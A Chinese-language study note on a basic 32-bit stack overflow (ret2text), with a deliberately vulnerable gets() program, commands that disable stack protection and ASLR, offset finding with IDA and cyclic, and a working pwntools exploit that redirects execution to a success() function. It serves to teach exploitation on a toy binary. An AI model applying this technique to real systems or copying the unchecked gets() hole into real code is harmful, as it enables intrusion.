栈溢出
阅读和复现之前,最好先有一点 Linux 基础。
[前置知识之Linux操作系统]
最近在继续看 PWN,先把最基础的栈溢出弄清楚。
栈溢出简单来说,就是程序往栈里的一个变量写数据的时候,写进去的东西超过了这个变量原本的大小,于是后面的数据也被一起覆盖了。
比如:
char s[12];
这里只给了 s 12 个字节。如果后面用了一个不限制输入长度的函数,那么输入超过12个字节以后,并不会自动停下来,而是还会继续往后写。
栈上后面不一定是没用的东西,还可能有:
saved ebp
return address
所以栈溢出真正有意思的地方不是把程序弄崩,而是:
如果连返回地址都能覆盖,那是不是可以让程序返回到我指定的地方?
先写一个最简单的程序
#include <stdio.h>
#include <string.h>
void success(void)
{
puts("You Hava already controlled it.");
}
void vulnerable(void)
{
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv)
{
vulnerable();
return 0;
}
这个程序很简单。
main() 调用:
vulnerable();
然后里面定义:
char s[12];
再用:
gets(s);
接收输入。
问题就在 gets()。
gets() 不知道 s 到底有多大,它会一直读,直到遇到换行。所以虽然这里只定义了12字节,但是输入长一点,它还是会继续往后写。
编译:
gcc -m32 -fno-stack-protector -no-pie overflow.c -o stack_example -std=gnu99
这里先编译成32位,而且把几个保护关掉,方便看最基本的东西。
-m32
32位。
-fno-stack-protector
关掉 Stack Canary。
-no-pie
关掉 PIE,这样程序本身的地址不会每次都变。
编译的时候还会提示:
warning: the `gets' function is dangerous and should not be used.
确实很危险。
可以先:
checksec --file=./stack_example
看看保护。
主要注意:
Canary
NX
PIE
RELRO
这里为了方便,至少要:
Canary: No canary found
PIE: No PIE
ASLR
Linux 还有一个 ASLR:
Address Space Layout Randomization
地址空间随机化。
查看:
cat /proc/sys/kernel/randomize_va_space
可能看到:
0
1
2
0 是关闭。
做这个实验的时候可以临时关掉:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
做完再恢复:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
现在只是为了把原理看清楚,先不管真实程序里面各种保护。
看栈
把程序丢进 IDA。
进入 vulnerable(),可以看到类似:
s = byte ptr -14h
也就是:
s = ebp - 0x14
所以 s 到 ebp 中间有:
0x14 = 20 bytes
大概可以画成:
+-----------------+
| return address |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| local data |
| |
s,ebp-0x14-->+-----------------+
这里就比较关键了。
函数被调用的时候,会把返回地址保存在栈上。函数运行完执行 ret,CPU 就从栈里拿出这个地址,然后回去继续执行。
正常大概是:
call
↓
保存 return address
↓
执行 vulnerable
↓
ret
↓
回到 main
但 gets() 如果一直往后写,就会:
s
↓
继续写
↓
saved ebp
↓
return address
所以如果 return address 被我覆盖了,ret 的时候拿到的就是我写进去的地址。
跳到success
程序里面还有一个函数:
void success(void)
{
puts("You Hava already controlled it.");
}
正常情况下不会执行它。
那就试一下把 vulnerable() 的返回地址直接改成 success()。
可以在 IDA 里面看,也可以:
objdump -d ./stack_example
找 success。
假设地址是:
0x08049176
那么目标就是:
vulnerable()
↓
ret
↓
0x08049176
↓
success()
前面已经看到:
s 到 ebp = 0x14
也就是20字节。
32位程序的 saved ebp 是4字节。
所以:
20 bytes
+
4 bytes
=
24 bytes
之后就是 return address。
payload 就可以想成:
20字节填充
+
4字节覆盖 saved ebp
+
success 地址
比如:
aaaaaaaaaaaaaaaaaaaa
bbbb
success_addr
写进去以后大概变成:
+-----------------+
| 0x08049176 |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| overwritten |
| |
s,ebp-0x14-->+-----------------+
然后 vulnerable() 执行 ret。
这时候栈里原来的返回地址已经没了,取出来的是:
0x08049176
于是直接跳到 success()。
小端序
这里还卡了一个小端序。
x86 是:
Little Endian
比如地址:
0x08049176
真正按字节写进去是:
\x76\x91\x04\x08
低位放前面。
所以不能直接输入:
0x08049176
这个字符串。
pwntools 里面可以直接:
p32(success_addr)
它会帮忙转成32位小端序。
所以 EXP 可以写:
# coding=utf8
from pwn import *
sh = process('./stack_example')
success_addr = 0x08049176
payload = b'a' * 0x14
payload += b'bbbb'
payload += p32(success_addr)
print(p32(success_addr))
sh.sendline(payload)
sh.interactive()
整个 payload 就是:
20 bytes padding
+
4 bytes saved ebp
+
4 bytes return address
如果地址和偏移都没错,最后应该可以看到:
You Hava already controlled it.
也就是原来程序根本不会主动调用的:
success()
现在被执行了。
这个时候已经不是单纯把程序弄崩,而是真的把执行流程改掉了。
cyclic找偏移
前面是直接看 IDA 算出来的:
0x14 + 4
其实也可以用 cyclic。
先:
cyclic 100
生成一串特殊的数据,然后输入程序让它崩溃。
假如 GDB 里面看到:
EIP = 0x61616167
再:
cyclic -l 0x61616167
就可以知道这个值在刚才那串数据的第几个位置。
流程就是:
cyclic
↓
输入程序
↓
程序崩溃
↓
看 EIP
↓
cyclic -l
↓
得到 offset
所以 offset 其实就是:
输入缓冲区开始
↓
return address
中间一共有多少字节。
这个比自己一个一个算方便,不过最好还是先把为什么会有这个 offset 搞懂。
控制EIP
做到这里以后,我觉得栈溢出最关键的东西已经比较清楚了。
正常情况:
call
↓
保存 return address
↓
函数运行
↓
ret
↓
回到原来的位置
栈溢出以后:
call
↓
保存 return address
↓
gets继续往后写
↓
覆盖 return address
↓
ret
↓
跳到新的地址
所以真正想控制的是:
EIP
32位程序里面,EIP 指向 CPU 接下来要执行的指令。
如果能够稳定把 return address 改成自己想要的地址,那么函数 ret 以后,EIP 就会变成那个地址。
这次只是把它改成程序里面已经存在的:
success()
所以这个应该算最简单的:
ret2text
再往后
把整个过程缩一下其实就是:
gets输入没有长度限制
↓
发生栈溢出
↓
覆盖 saved ebp
↓
覆盖 return address
↓
ret
↓
EIP变成新的地址
这次的目标地址只有一个:
success()
所以很简单。
但如果已经能够控制 return address,那么后面应该就可以继续研究:
ret2text
ret2shellcode
ret2libc
ROP
真实程序还会有:
NX
Canary
PIE
ASLR
RELRO
这些东西不会让栈溢出凭空消失,但是会让“溢出以后到底怎么利用”变麻烦。
现在先把最基本的这一步弄懂:
找到溢出
↓
确定 offset
↓
覆盖 return address
↓
控制 EIP
ROP 应该也是从这里继续往下走,只不过不再只跳一次,而是想办法利用程序里面已经存在的代码片段,把它们接起来执行。
先到这里。
2026年9月 补充
重新翻了这篇初三时写下来的栈溢出笔记。和更早那篇《PWN环境配置》不太一样,到这个时候已经不是单纯从百度复制工具和命令了,很多内容确实是自己一边调试、一边看 IDA 和 GDB,再慢慢弄清楚的。
原文里最重要的东西其实很简单:gets() 为什么能够越过缓冲区继续写,return address 为什么会被覆盖,ret 为什么会因此跳到另一个地址。现在回头看当然只是非常基础的 ret2text,但在当时,把“程序崩了”和“我可以让它往另一个地方执行”真正联系起来,才算第一次把栈溢出这件事情看明白。

















这一切,似未曾拥有